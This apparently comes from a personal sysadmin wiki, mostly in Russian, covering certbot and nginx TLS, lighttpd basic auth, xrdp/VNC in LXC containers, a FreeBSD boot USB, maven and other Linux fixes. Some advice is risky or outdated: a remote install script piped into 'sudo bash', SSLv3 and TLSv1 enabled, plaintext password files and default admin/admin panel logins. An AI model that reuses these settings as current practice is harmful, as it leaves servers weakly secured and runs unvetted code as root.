amdgpu.backlight=1 acpi_backlight=native   - не работает. /sys/class/backlight/ - пустой
amdgpu.backlight=0 acpi_backlight=native   - не работает. /sys/class/backlight/ - пустой

amdgpu.backlight=0 - не работает
amdgpu.backlight=1 - не работает. /sys/class/backlight/ - пустой

А также системных демонов.
на современном XFCE это upower.
Если при надатии на кнопки яркости вылезает окно Display Settings - нужно снять галку “Handle Display Brightness Keys” в настройках “Power Manager”.

lets_encrypt_certificates_on_ubuntu

anonymous@undisclosed.example.com (Anonymous) — Fri, 23 Aug 2019 08:01:36 +0000

Скачиваем скрипт certbot-auto

wget https://dl.eff.org/certbot-auto
chmod a+x certbot-auto

После этого нужно запустить его и он установит нужные зависимости:

sudo ./certbot-auto

Теперь осталось положить этот скрипт куда-нибудь в систему, что потом выполнять его через cron для обновления сертификатов:

sudo cp ./certbot-auto /usr/local/bin/

Настройка web-сервера

При получении сертификата скрипт проверяет что мы управляем доменом, на который получаем серт. Для этого он создает на сервере проверочный файл и выдающий сертификат сервер запрашивает этот файл. Для того, чтобы все работало, на web-сервер должен быть сконфигурирован доступ к скрытой директории /.well-known/acme-challenge/.
В противном случае - скрипт постоянно ругается с ошибкой:

Failed authorization procedure. wiki.autosys.tk (http-01): urn:acme:error:unauthorized :: The client lacks sufficient authorization :: Invalid response from http://wiki.autosys.tk/.well-known/acme-challenge/fsS43RbAQXN2s9rhftKocls_trASu5_7k4nz9kf8CTg

В nginx нужно закомментировать что-то такое:

location ~ /\. { deny all;

Получаем сертификат одной командой

./certbot-auto certonly --webroot -w /var/www -d wiki.autosys.tk

Сертификаты попадают в папку /etc/letsencrypt/live/
Если доменов несколько, то команда будет такая:

./certbot-auto certonly --webroot -w /var/www -d wiki.autosys.tk -d anotherdomain.autosys.tk

Обновляем

Проверяем что все обновляется:

certbot-auto renew --dry-run

Обновляем все сертификаты:

certbot-auto renew

Прописываем сертификаты в nginx

В секцию server сервера прописываем:

listen 443 ssl http2;
server_name  server.domain.ru;
ssl_certificate /etc/letsencrypt/live/pgadmin.adspeed.ru/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/pgadmin.adspeed.ru/privkey.pem;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

Тут важно, прописать fullchain.pem, а не cert.pem. Если прописать cert.pem, то не будет работать в некоторых браузерах, в частности - Chrome под Android

И включаем сервер HTTP на 80 порту, который понадобится для обновления сертификатов,а также для перенаправления клиентов, пришедших по HTTP на HTTPS:

server {
    listen        80;
    #server_name  server.domain.ru;
    root /var/www/;

    #Enable access to acme files
    location ~ /\.well-known/acme-challenge/ {
        allow all;
        access_log off;
        log_not_found off;
    }
    return 301 https://$host$request_uri;
}

Создаем задачу в cron для автообновления

Создаем файлик /etc/cron.weekly/certs_renew :

#! /bin/bash
# renew all lets_encrypt_certs

sed -i '/^\ *return 301 https/ s/^/#/' /etc/nginx/sites-enabled/default
service nginx reload

/usr/bin/certbot renew
sed -i '/^#\ *return 301 https/ s/^#//' /etc/nginx/sites-enabled/default 

service nginx reload

И делаем его исполняемым:

chmod a+x /etc/cron.weekly/certs_renew

Скрипт отключает перенаправление с HTTP на HTTPS, перезагружает конфигурацию nginx, обновляет сертификат, включает обратно перенаправление и снова перезагружает конфигурацию nginx.

Ошибки

Однажды, в логах я увидел такое:

Error: couldn't get currently installed version for /opt/eff.org/certbot/venv/bin/letsencrypt....

Оказалось, задача по обновлению сертов не смогла их обновить.
Немного погуглив выискалсь такое решение - нужно удалить пару папок с клиентом certbot (из-под пользователя, который устанавливал его):

sudo rm -rf /opt/eff.org/certbot/
sudo rm -Rf  ~/.local/share/letsencrypt

и переустановить certbot:

wget https://dl.eff.org/certbot-auto
chmod a+x certbot-auto
sudo ./certbot-auto

А когда установочный скрипт начнет спрашивать про домены - просто остановить его, введя “c”.

libvirt_firewalld

anonymous@undisclosed.example.com (Anonymous) — Thu, 10 Mar 2022 10:31:09 +0000

После установки qemu-kvm и libvirt на Ubuntu с firewalld sudo apt-get install qemu-kvm bridge-utils virt-manager я попытался создать и запустить виртуальную машину и столкнулся вот с чем:

Unable to complete install: 'Requested operation is not valid: network 'default' is not active'

Легкое гугление указало, что нужно выполнить:

sudo virsh net-start default

Однако всё оказалось непросто:

error: Failed to start network default
error: internal error: firewalld is set to use the nftables backend, but the required firewalld 'libvirt' zone is missing. Either set the firewalld backend to 'iptables', or ensure that firewalld has a 'libvirt' zone by upgrading firewalld to a version supporting rule priorities (0.7.0+) and/or rebuilding libvirt with --with-firewalld-zone

Чтобы все запустилось - надо поменять backend в конфиге firewalld на iptables:

sudo sed -i '/FirewallBackend=/s/nftables/iptables/' /etc/firewalld/firewalld.conf

И перезапустить firewalld

sudo service firewalld restart
sudo virsh net-start default

lighttpd-setup-a-password-protected-directory-directories

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Lighttpd setup a password protected directory (directories)

If you require authentication on certain directories using the Lighttpd web server, you can use Lighttpd's mod_auth module. It allows you to protect any directory in web server with access restrictions (just like Apache's password protected directory) .

Lighttpd supports both basic and digest authentication methods. Now consider following sample setup:

Domain name: theos.in
    Directory (DocRoot) to protect with a password: /home/lighttpd/theos.in/http/docs
    Username: vivek
    Lighttpd password file: /home/lighttpd/.lighttpdpassword (this file should be outside default http document root)

How do I use Basic authentication method?

Easy to implement and password stored in cleartext format using files. If you are going to use this method make sure you use SSL (Secure Socket Layer) connection/encryption.
Step #1: Open /etc/lighttpd/lighttpd.conf file

Make sure mod_auth is loaded:

server.modules += ( "mod_auth" )

Now add following three directives:

auth.debug = 2
auth.backend = "plain"
auth.backend.plain.userfile = "/home/lighttpd/.lighttpdpassword"

Where,

auth.debug = 2 : Specify debug level (0 turns off debug message, 1 for authentication ok message and 2 for detailed/verbose debugging message). This is useful for troubleshooting authentication problem. It logs message in access.log and error.log files
auth.backend = “plain” : You are using plain text backend (other options are ldap, htpasswd and others)
auth.backend.plain.userfile = “/home/lighttpd/.lighttpdpassword” : Filename of the username:password storage

Next, you need specify which directory you want to password protect. For example, consider directory /home/lighttpd/theos.in/http/docs directory. Find out your domains virtual hosting section (theos.in) and append following text:

auth.require = ( "/docs/" =>
(
"method" => "basic",
"realm" => "Password protected area",
"require" => "user=vivek"
)
)

Where,

auth.require = ( “/docs/” ⇒ : Directory name
“method” ⇒ “basic”, : Authentication type
“realm” ⇒ “Password protected area”, : Password realm/message
“require” ⇒ “user=vivek” : Only user vivek can use /docs/

At the end, your configuration should read as follows:

$HTTP["host"] == "theos.in" {
server.document-root = "/home/lighttpd/theos.in/http"
server.errorlog = "/var/log/lighttpd/theos.in/error.log"
accesslog.filename = "/var/log/lighttpd/theos.in/access.log"
auth.require = ( "/docs/" =>
(
"method" => "basic",
"realm" => "Password protected area",
"require" => "user=vivek"
)
)
}

Save and close the file.

Step # 2: Create a password file

Create a plain text username (vivek) and password file:

# vi /home/lighttpd/.lighttpdpassword

Append username:password:

vivek:mysecretepassword

Where,

vivek - is the name of a user. Please note that do not use a system user stored in /etc/passwd file. It is recommended that you use a different username that only exists for the purpose of authenticating password protected directories.
mysecretepassword - is the password for user vivek (must be in clear text format for plain text method)

Save and close the file. Make sure file /home/lighttpd/.lighttpdpassword is readable by lighttpd:

# chown lighttpd:lighttpd /home/lighttpd/.lighttpdpassword

Finally, restart lighttpd server:

# /etc/init.d/lighttpd restart

Step # 3: Test your configuration

Fire your browser and point a web browser to http://yourdomain.com/docs/ or http://localhost/docs/ or http://ip-address/docs. You should be prompted for a username and password.

This way you can restrict access to certain areas of your website. Make sure you also use SSL encryption for authenticating users and secure digest authentication.

linux_x_add_custom_resolutions

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Добавление нестандартный разрешений экрана

https://forums.opensuse.org/showthread.php/507397-Adjusting-screen-resolution-on-a-system-with-no-monitor-connected?p=2710248#post2710248
Для добавления разрешений используется утилита xrandr.
Сначала нужно получить строчку с параметрами нового режима с помощьбю cvt:

cvt 2560 1080
# 2560x1080 59.98 Hz (CVT) hsync: 67.17 kHz; pclk: 230.00 MHz
Modeline "2560x1080_60.00"  230.00  2560 2720 2992 3424  1080 1083 1093 1120 -hsync +vsync

Строку Modeline подставляем в команду:

xrandr --newmode "2560x1080_60.00"  230.00  2560 2720 2992 3424  1080 1083 1093 1120 -hsync +vsync

Добавляем режим к монитору:

xrandr --addmode HDMI-0 "2560x1080_60.00"

Название монитора можно посмотреть в выводе команды xrandr.

Для того, чтобы этот режим добавлялся автоматически при старте в файлик /etc/X11/xinit/xinitrc пишем:

xrandr --newmode "2560x1080_60.00"  230.00  2560 2720 2992 3424  1080 1083 1093 1120 -hsync +vsync
xrandr --addmode HDMI-0 "2560x1080_60.00"
xrandr --output HDMI-0 --mode 2560x1080_60.00

list_of_all_packages_installed_in_system_for_apt-get

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Иногда нужно начисто переустановить систему и установить в нее все пакеты, которые были в прежней. Получить список пакетов, который можно потом скормить команде apt-get install можно командой:

dpkg -l |tail -n+6 |awk '{print($2)}'| tr '\n' ' '

lxde_vnc-в-контейнере-lxc

anonymous@undisclosed.example.com (Anonymous) — Wed, 11 Sep 2019 07:17:56 +0000

Для чего

Мне нужен headless LXC-контейнер с экономичным декстопным окружением, доступ к которому будет осуществляться по VNC, а лучше - по RDP.

Варианты решения

В качестве ОС контейнера выступает Ubuntu 16.04.
Для запуска иксов в headless-контейнере понадобится эмуляция видеоадаптера.
Для этих целей можно использовать либо xvfb (X Virtual Frame Buffer) либо xdummy. Оба пакета присутствуют в репозиториях большинства дистрибутивов, однако, более продвинутым является xdummy.
В данной заметке я рассмотрю настройку двух этих решений.
В качестве десктопного окружения я протестирую пару - Xfce и LXDE. Сразу скажу, что вариант с Xfce мне понравился гораздо больше.
Для доступа к графической оболочке я планирую использовать VNC или RDP (но можно использовать и другие протоколы). Например: SPICE - https://discuss.linuxcontainers.org/t/access-container-via-spice-sharing-clipboard/2544/3

Xfce + xdummy + xrdp

Установка необходимых компонент:

sudo apt-get -y install nano curl xserver-xorg-video-dummy xserver-xorg-core x11vnc xubuntu-desktop

Настройки X для работы с xdummy (файлик /etc/X11/xorg.conf):

 
# This xorg configuration file is meant to be used
# to start a dummy X11 server.
# For details, please see:
# https://www.xpra.org/xorg.conf

# Here we setup a Virtual Display of 1600x900 pixels

Section "Device"
    Identifier "Configured Video Device"
    Driver "dummy"
    #VideoRam 4096000
    #VideoRam 256000
    VideoRam 16384
EndSection

Section "Monitor"
    Identifier "Configured Monitor"
    HorizSync 5.0 - 1000.0
    VertRefresh 5.0 - 200.0
    Modeline "1600x900" 33.92 1600 1632 1760 1792 900 921 924 946
EndSection

Section "Screen"
    Identifier "Default Screen"
    Monitor "Configured Monitor"
    Device "Configured Video Device"
    DefaultDepth 24
    SubSection "Display"
        Viewport 0 0
        Depth 24
        Virtual 1600 900
    EndSubSection
EndSection

Список строчек для различных режимов:

    Modeline "1920x1080" 23.53 1920 1952 2040 2072 1080 1106 1108 1135
    Modeline "1680x1050" 20.08 1680 1712 1784 1816 1050 1075 1077 1103
    Modeline "1600x1200" 22.04 1600 1632 1712 1744 1200 1229 1231 1261
    Modeline "1600x900" 33.92 1600 1632 1760 1792 900 921 924 946
    Modeline "1440x900" 30.66 1440 1472 1584 1616 900 921 924 946
    ModeLine "1366x768" 72.00 1366 1414 1446 1494 768 771 777 803
    Modeline "1280x1024" 31.50 1280 1312 1424 1456 1024 1048 1052 1076
    Modeline "1280x800" 24.15 1280 1312 1400 1432 800 819 822 841
    Modeline "1280x768" 23.11 1280 1312 1392 1424 768 786 789 807
    Modeline "1360x768" 24.49 1360 1392 1480 1512 768 786 789 807
    Modeline "1024x768" 18.71 1024 1056 1120 1152 768 786 789 807

XRDP

Я буду использовать связку xrdp + xorgrdp. Раньше довольно популярным было использование x11rdp, однако его поддержки нужно пересобрать Xorg, а в случае с xorgrdp этого не требуется.
Xrdp можно установить из репозитория, однако он там довольно старый. Я предпочитаю собирать последнюю версию. Ставим средства для сборки:

sudo apt-get install git autoconf libtool pkg-config gcc g++ make  libssl-dev libpam0g-dev libjpeg-dev libx11-dev libxfixes-dev libxrandr-dev  flex bison libxml2-dev intltool xsltproc xutils-dev python-libxml2 g++ xutils libfuse-dev libmp3lame-dev nasm libpixman-1-dev xserver-xorg-dev

Скачиваем и собираем:

mkdir ./xrdp
cd xrdp/
wget https://github.com/neutrinolabs/xorgxrdp/releases/download/v0.2.1/xorgxrdp-0.2.1.tar.gz
wget https://github.com/neutrinolabs/xrdp/releases/download/v0.9.2/xrdp-0.9.2.tar.gz
tar -xvf ./xrdp-0.9.2.tar.gz 
cd ./xrdp-0.9.2
./bootstrap
./configure --enable-fuse --enable-rfxcodec --enable-mp3lame --enable-pixman --disable-painter --disable-ipv6
make
sudo make install
sudo ln -s /usr/local/sbin/xrdp{,-sesman} /usr/sbin
cd ..
tar xvfz xorgxrdp-0.2.1.tar.gz 
cd xorgxrdp-0.2.1
./bootstrap
./configure
make
sudo make install

Настройка XRDP

В принципе, достаточно просто включить сервис и уже можно подключаться.

sudo systemctl enable xrdp
sudo service xrdp start

Однако, неплохо бы немного скорректировать список доступных при подключении опций - по умолчанию он избыточен.
Для этого открываем файлик /etc/xrdp/xrdp.ini и в нижней части в разделе Session types удаляем или комментируем все, кроме:

;
; Session types
;

[Xorg]
name=Xorg
lib=libxup.so
username=ask
password=ask
ip=127.0.0.1
port=-1
code=20

lightdm

/etc/lightdm/lightdm.conf

[Seat:*]
xserver-allow-tcp=false
xserver-command=X -nolisten tcp

Проблемы

После обновления контейнера Ubutnu 16.04 до 18.04 перестал работать xrdp.
После ввода логина и пароля он долго тупит, а потом выдает:

login successful for display 10
started connecting
connection problem, giving up
some problem

В логе /var/log/xrdp.log ошибки:

[DEBUG] Closed socket 19 (AF_UNIX)

В логе /var/log/xrdp-sesman.log ошибка:

[ERROR] X server for display 10 startup timeout

В директории пользователя, который логинится в файле ~/.xorgxrdp.XX.log такое:

[  4034.806] (II) LoadModule: "xorgxrdp"
[  4034.807] (II) Loading /usr/lib/xorg/modules/libxorgxrdp.so
[  4034.807] (II) Module XORGXRDP: vendor="X.Org Foundation"
[  4034.807]    compiled for 1.18.4, module version = 1.0.0
[  4034.807]    ABI class: X.Org Video Driver, version 20.0
[  4034.807] (EE) xorgxrdp: module ABI major version (20) doesn't match the server's version (23)
[  4034.807] (II) UnloadModule: "xorgxrdp"
[  4034.807] (II) Unloading xorgxrdp
[  4034.807] (EE) Failed to load module "xorgxrdp" (module requirement mismatch, 0)

Причина - несоответствие ABI собранного вручную модуля xorgxrdp и текущего Xorg.
Решение - пересобрать xorgxrdp с текущими библиотеками xserver-xorg-dev и переустановить его.

LXDE + Xvfb + x11vnc

В качестве ОС контейнера выступает Ubuntu 16.04, а в качестве DE - пакет lubuntu-desktop.

sudo apt-get update && sudo apt-get -y upgrade
sudo apt-get -y install nano curl xvfb xserver-xorg-core x11vnc lubuntu-desktop

Дальше план такой - в скрипт /etc/X11/xinit/xserverrc прописываем запуск Xvfb - в результате у нас будет дисплей :0 и прописываем в конфигурацию lightdm запуск этого скрипта (вместо дефолтной команды X). В результате при старте lightdm у нас запустится Xvfb. Потом создадим сервис x11vnc и настроим его автозапуск.
Поехали.
Настраиваем lightdm, чтобы он запускал при старте иксов /etc/X11/xinit/xserverrc, а не дефолтную команду xserver-command=X . Для этого в файлик /etc/lightdm/lightdm.conf пишем вот что:

[SeatDefaults]
greeter-session=lightdm-gtk-greeter
user-session=Xubuntu
xserver-command=/etc/X11/xinit/xserverrc

Cкорректируем /etc/X11/xinit/xserverrc, чтобы запускался Xvfb

#!/bin/sh

#exec /usr/bin/X -nolisten tcp "$@"
exec Xvfb :0 -screen 0 1024x768x24

Теперь нужно организовать автоматический запуск x11vnc. Это можно сделать двумя путями. Либо прописать строку запуска в /etc/rc.local, либо создать сервис в systemd. Создадим сервис. В файлик /lib/systemd/system/x11vnc.service напишем такое:

[Unit]
Description=Remote control service x11vnc
After=graphical.target

[Service]
Restart=always
RestartSec=5
Type=simple
ExecStart=-/usr/bin/x11vnc -display :0 -auth "/var/run/lightdm/root/:0" -rfbauth /etc/x11vnc.pass -o /var/log/x11vnc.log
User=x11vnc
Group=x11vnc

[Install]
WantedBy=graphical.target

Создадим пользователя для запуска этого сервиса, создадим файлик с логами и дадим на него права:

sudo useradd x11vnc --system
sudo touch /var/log/x11vnc.log
sudo chown -R x11vnc /var/log/x11vnc.log

Включаем и запускаем сервис:

sudo systemctl enable x11vnc.service
sudo systemctl start x11vnc.service

Проверяем статус сервиса:

sudo systemctl status x11vnc.service

И, наконец, задаем пароль для VNC:

sudo x11vnc -storepasswd yourVNCpasswordHERE /etc/x11vnc.pass
sudo chown x11vnc /etc/x11vnc.pass

mainpage

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

make_freebsd_boot_flash_from_iso

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

Создание загрузочной флешки для установки Free BSD 11.0 оказалось довольно нетривиальной задачей. При этом, официальный образ флешки *.img не всегда работает как нужно. На некоторых ноутбуках он не загружается вовсе!!
Приведенный здесь способ позволяет сделать загрузочную флешку даже с помощью linux Live-CD.

Решение

Для начала создаем на флешке раздел FAT32, делаем его загрузочным и форматируем.

fdisk /dev/sdx

Если на диске есть разделы, то ликвидируем их. Для этого жмем d
После удаления разделов жмем n и создаем новый.
В процессе создания указваем что раздел p (primary).
После создания жмем a, чтобы сделать раздел активным.
Затем жмем t, чтобы задать тип раздела и вводим тип c (FAT32).
Жмем w и записываем изменения на флешку.

Форматируем флешку с меткой FREEBSD11. Метка важна, поскольку в дальнейшем она будет использована для монтирования:

sudo umount /dev/sdx1
sudo mkfs.vfat -F 32 -n FREEBSD11 /dev/sdx1

Установка загрузчика GRUB

Монтируем флешку и ставим на нее GRUB2.

sudo mkdir /mnt/USB && sudo mount /dev/sdx1 /mnt/USB
sudo grub-install --force --no-floppy --boot-directory=/mnt/USB/ /dev/sdx

Старые версии GRUB вместо –boot-directory используют -root-directory. Если что-то не так, то установщик GRUB скажет что “Installation is impossible. Aborting”.

Создаем на флешке файлик /grub/grub.cfg

sudo nano /mnt/USB/grub/grub.cfg

и пишем туда вот что:

menuentry "FreeBSD 11.0 Text Install" {
  kfreebsd /boot/kernel/kernel
  kfreebsd_loadenv /boot/device.hints
  kfreebsd_module_elf /boot/kernel/ums.ko
  set kFreeBSD.vfs.root.mountfrom=msdosfs:/dev/msdosfs/FREEBSD11
  set kFreeBSD.kern.geom.eli.visible_passphrase=2
  set kFreeBSD.hw.memtest.tests=0
  set kFreeBSD.vfs.zfs.arc_max=128M
  set kFreeBSD.grub.platform=$grub_platform
  set kFreeBSD.xconsole=YES
  set kFreeBSD.kern.cam.boot_delay="50000"
  set kFreeBSD.kern.geom.label.disk_ident.enable=0
  set kFreeBSD.kern.geom.label.gptid.enable=0
  set kFreeBSD.kern.geom.label.ufsid.enable=0
  set kFreeBSD.vfs.mountroot.timeout="180"
}

Распаковка образа iso

Дальше нужно распаковать смонтировать инсталляционный iso-образ и распаковать его на флешку:

sudo mkdir /mnt/cdrom && sudo mount -t iso9660 ./FreeBSD-11.0-RELEASE-amd64-disc1.iso /mnt/cdrom 
sudo rsync -rLK --ignore-existing /mnt/cdrom/ /mnt/USB

Затем на флешке редактируем /etc/fstab и приводим его к такому виду:

/dev/msdosfs/FREEBSD11  /   msdosfs ro    0   0

Тут важно, чтобы указанная метка FREEBSD11 соответствовала указанной при форматировании.

В моем случае флешка оказалась медленной и перед отмонтированием я запустил sync, чтобы убедиться в том, что все корректно записалось.
sync идет довольно долго (около часа!!), так как много мелких файлов.

sync
umount /dev/sdx1

Все. Дальше просто загружаемся с флешки и ставим FreeBSD 11.0.

Этим же методом можно сделать загрузочную флешку для установки TrueOS (бывший PCBSD).

https://github.com/trueos/pcbsd/blob/master/overlays/install-overlay/boot/grub/grub.cfg.pcbsd

maven

anonymous@undisclosed.example.com (Anonymous) — Tue, 21 Apr 2020 12:52:17 +0000

Заметки о maven

Переменные окружения

Для работы maven нужны переменные окружения:

JAVA_HOME
MAVEN_HOME
M2_HOME

Инициализация проекта и скачивание плагинов

mvn archetype:generate

Мавен скачает плагины (архетипы проектов), предложит ввести:

номер архетипа (или оставить дефолтный - quickstart)
Версию архетипа
groupId - по соглашению - это имя сайта организации в обратной нотации - com.org.name
artefactId - название проекта
version - версию проекта
package - имя директории, в где будет собран этот аретфакт (директории class и test).

В итоге - у собранного проекта будет название - artefactId-version и построит структуру директорий, необходимую для проекта.
Плагины попадут в ~/.m2/repository/

Структура директорий проекта maven

Типичный workflow

mvn clean

Очистит проект.

mvn compile

Соберет код проекта и в итоге - создаст директории target/classes/….

mvn test-compile

Соберет код тестов проекта и в итоге - создаст директории target/test-classes/…. mvn test Запустит собранные тесты

mvn install

Собрет jar-файл и положит его в корень директории target. Также - установит его в локальный репозиторий (~/.m2/repository) для использования его в качестве зависимости в других пакетах.

Расширенный workflow

mvn validate

Валидирует проект.

mvn compile

Соберет код проекта и в итоге - создаст директории target/classes/…. mvn test-compile Соберет код тестов проекта и в итоге - создаст директории target/test-classes/…. mvn test Запустит собранные тесты

mvn package

Соберет пакет

mvn intergration-test

Запуск интеграционных тестов.

mvn verify

Проверка пакета

mvn install

mvn deploy

Копирует собранный пакет на удаленный репозиторий для дальнейшего использваония в совместной разработке или продакшене.

Выкачать зависимости

Скачать зависимости, указанные в pom-файлике можно так:

mvn dependency:copy-dependencies -DoutputDirectory=yourfoldername -Dhttps.protocols=TLSv1.2

Скачать исходники зависимостей:

mvn dependency:copy-dependencies -Dclassifier=sources -DoutputDirectory=yourfoldername -Dhttps.protocols=TLSv1.2

Чтобы скачать зависимости через proxy в файлик конфигурации maven (conf/settings.xml) нужно добавить такое:

<settings>
  <proxies>
   <proxy>
      <active>true</active>
      <protocol>http</protocol>
      <host>PUT-YOUR-PROXY-NAME</host>
      <port>PUT-YOUR-PORT-NUMBER</port>
      <username>proxyuser</username>
      <password>somepassword</password>
      <nonProxyHosts>www.google.com|*.somewhere.com</nonProxyHosts>
    </proxy>
  </proxies>
</settings>

mediatek_wifi_firmware

anonymous@undisclosed.example.com (Anonymous) — Wed, 04 Jun 2025 09:53:01 +0000

https://github.com/morrownr/USB-WiFi/blob/main/home/How_to_Install_Firmware_for_Mediatek_based_USB_WiFi_adapters.md

MT7925 - mt7925 chipset

Скачиваем отсюда фирмварь: https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/mediatek/mt7925
В зависимости от дистирибутива моджет понадобиться сжать файлики:
```
zstd -fq --rm *.bin
```
или
```
xz -f -C crc32 *.bin
```
или
```
gzip -f *.bin
```

Копируем фирмварь на место:

sudo mkdir -p /lib/firmware/mediatek/mt7925
sudo cp WIFI_MT7925_PATCH_MCU_1_1_hdr.* WIFI_RAM_CODE_MT7925_1_1.* BT_RAM_CODE_MT7925_1_1_hdr.* /lib/firmware/mediatek/mt7925/

microphone_disapeared_after_do_release_upgrade

anonymous@undisclosed.example.com (Anonymous) — Tue, 08 Dec 2020 20:12:13 +0000

Проблема

Была Ubuntu 20.04 (Focal Fossa) + KDE на ноутбуке Honor MagicBook Pro на базе AMD Ryzen 4800H.
После обновления до Ubuntu 20.10 (Groovy Gorilla) пропал встроенный микрофон.
Звук работает, а устройства микрофона даже не видно.
При запуске alsamixer все становится несколько определеннее. ALSA в системе видит два звуковых адаптера (кнопочка F6) - ATI R6xx HDMI и Realtek ALC256.
У первого только два S/PDIF выхода, а у второго - всё что нужно.
Очевидно, если ALSA всё что нужно видит, значит - проблема в настройках PulseAudio.
Первый же совет со странички https://help.ubuntu.com/community/SoundTroubleshootingProcedure мне помог. Всё что нужно было - это остановить PulseAudio и удалить его конфигурацию:

killall pulseaudio; pulseaudio -k  ; rm -r ~/.config/pulse/* ; rm -r ~/.pulse*

Всё починилось.

migrate_openvz_to_lxc

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Настройка хоста LXC на Ubuntu 16.04

Выключаем IPv6

Чтобы выключить IPv6 правим файлик /etc/sysctl.conf и добавляем туда строки:

##Disable IPv6
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1

Настраиваем hostname

В файликах /etc/hostname и /etc/hosts нужно прописать имя хоста.

Устанавливаем LXC

sudo apt-get install lxc

Проверить, что все установилось хорошо можно командой:

lxc-checkconfig

Настройка сети

Для контейнеров LXC как правило используются два варианта подключения. Первый - когда контейнеры подключаются к сети через NAT и второй - когда контейнеры подключены к физическому интерфейсу через bridge. По-умолчанию в Ubuntu конфигурируется первый вариант и подключены к сети через NAT. Контейнеры получают адреса по DHCP из диапазона 10.0.x.2-10.0.x.254, а мост на хосте LXC получсет адрес 10.0.3.1.

Настройки сети LXC хранятся в файле /etc/default/lxc-net. Там можно включить или выключить lxcbr0, а также задать другие параметры.

https://habrahabr.ru/company/ua-hosting/blog/305184/
Для того чтобы включить bridge непосредственно на физический интерфейс нужно сделать так. На всякий случай проверяем что у нас установлены bridge-utils. По идее они должны были поставиться вместе с lxc:

sudo apt-get install bridge-utils

Теперь в файлике /etc/network/interfaces нужно выключить (закомментировать) eth0 (или другой физический интерфейс) и прописать вместо него br0, который будет указывать на eth0. В самом простом случае c DHCP это будет как-то так:

# The primary network interface
#auto eth0
#iface eth0 inet dhcp

auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_fd 0

Или как-то так со статическим адресом:

auto br0
iface br0 inet static
        address x.x.x.x
        network x.x.x.0
        netmask 255.255.255.0
        broadcast x.x.x.255
        gateway x.x.x.x
        bridge_ports eth0
        bridge_stp off
        bridge_fd 0
        bridge_maxwait 0
        dns-nameserver x.x.x.x x.x.x.x

Выключаем lxcbr0. Для этого в файлике /etc/default/lxc-net устанавливаем

USE_LXC_BRIDGE="false"

и перезагружаем хост.

Теперь чтобы в новых контейнерах по-умолчанию создавался интерфейс, использующий br0 нужно в файлике /etc/lxc/default.conf заменить

lxc.network.link = lxcbr0

на

lxc.network.link = br0

Теперь вновь создаваемые контейнеры будут иметь подключение через br0.

Установка лимитов памяти

При дефолтной установке LXC после попытке сконфигурировать лимиты потребления памяти контейнер перестает старовать с ошибкой:

Permission denied - Error setting memory.memsw.limit_in_bytes

Лечится это добавлением к строке запуска ядра параметров:

cgroup_enable=memory swapaccount=1

Для этого открываем файлик /etc/default/grub и в строке GRUB_CMDLINE_LINUX_DEFAULT= пишем:

  GRUB_CMDLINE_LINUX_DEFAULT="cgroup_enable=memory swapaccount=1"

Файлик сохраняем и обновляем конфимгурацию Grub:

sudo update-grub

И перезагружаем хост.

Монтируем директорию хоста в контейнер

Это может понадобиться для того, чтобы одни и те же файлы были видны в нескольких контейнерах.

По-умолчанию в контейнер монтируется файловая система из директории /var/lib/lxc/mycontainer/rootfs. Для того, чтобы подмонтировать к корневой файловой системе контейнера директорию хоста нужно отредактировать файлик /var/lib/lxc/mycontainer/config и добавить туда:

lxc.mount.entry=/path/in/host/mount_point /var/lib/lxc/mycontainer/rootfs/mount_point none bind 0 0

и перезагрузить контейнер. При необходимости, пути могут быть и одинаковыми.
Кроме того, можно использовать относительный путь в контейнере:

lxc.mount.entry=/path/in/host/mount_point mount_point none bind 0 0

При монтировании, система смотрит, есть ли слеш “/” в начале пути точки монтирования в контейнере. Если слеша нет, то путь считается относительным.
Точку монтирования в контейнере нужно создавать вручную. При монтировании она автоматически не создается, а при отсутствии точки монтирования контейнер не стартует.

Устанавливаем LXC-WebPanel

Логично использовать форк LXC-webpanel, который умеет делать бекап контейнера из web-интерфейса и поддерживает LXC 1.0. Запускаем скрипт, который пропишет нужный репозиторий:

curl -s https://packagecloud.io/install/repositories/claudyus/LXC-Web-Panel/script.deb.sh | sudo bash

На момент написания заметки скрипт прописывает репозиторий для Ubuntu 16.04, однако сущестует только репозиторий для “Ubuntu 14.04”. Исправить это можно отредактировав файл:

sudo nano /etc/apt/sources.list.d/claudyus_LXC-Web-Panel.list

и заменив в нем xenial на trusty. После этой процедуры устанавдиваем lwp:

sudo apt-get update && sudo apt-get -y install lwp

теперь можно сконфигурировать, запустить панель и протестировать

sudo cp /etc/lwp/lwp.example.conf /etc/lwp/lwp.conf
sudo nano /etc/lwp/lwp.conf #change it to your liking
sudo systemctl enable lwp
sudo service lwp start

заходим на http://x.x.x.x:5000 с логином admin и паролем admin

Вход с доменной учеткой

В LWP собственный модуль авторизации с помощью LDAP сломан. Судя по всему из-за несовместимости с новыми версиями Python. Однако, можно ввести хост в домен (например с помощью PBIS - как описано тут, а в файлике /etc/lwp/lwp.conf указать:

auth = pam

Пользователя нужно добавить в файлик /etc/sudoers.

Включаем SSL на LWP

Поддержка SSL в LWP была выпилена и рекомендовано использовать nginx в качестве reverse-proxy. Устанаваливаем и настраиваем nginx:

sudo apt-get install nginx

nginx.conf:

server {
    listen   443; ## listen for ipv4; this line is default and implied
    #listen   [::]:443 default ipv6only=on; ## listen for ipv6

    # logs
    error_log /var/log/nginx/lwp.yourdomain.com.error.log error;
    access_log /var/log/nginx/lwp.yourdomain.com.access.log;

    # Make site accessible from hostanme
    # change this according to your domain/hostanme
    server_name lwp.yourdomain.com;

    # set client body size #
    client_max_body_size 5M;

    ssl on;
    ssl_certificate ssl/server.cert;
    ssl_certificate_key ssl/server.key;

    ssl_session_timeout 5m;

    ssl_protocols SSLv3 TLSv1;
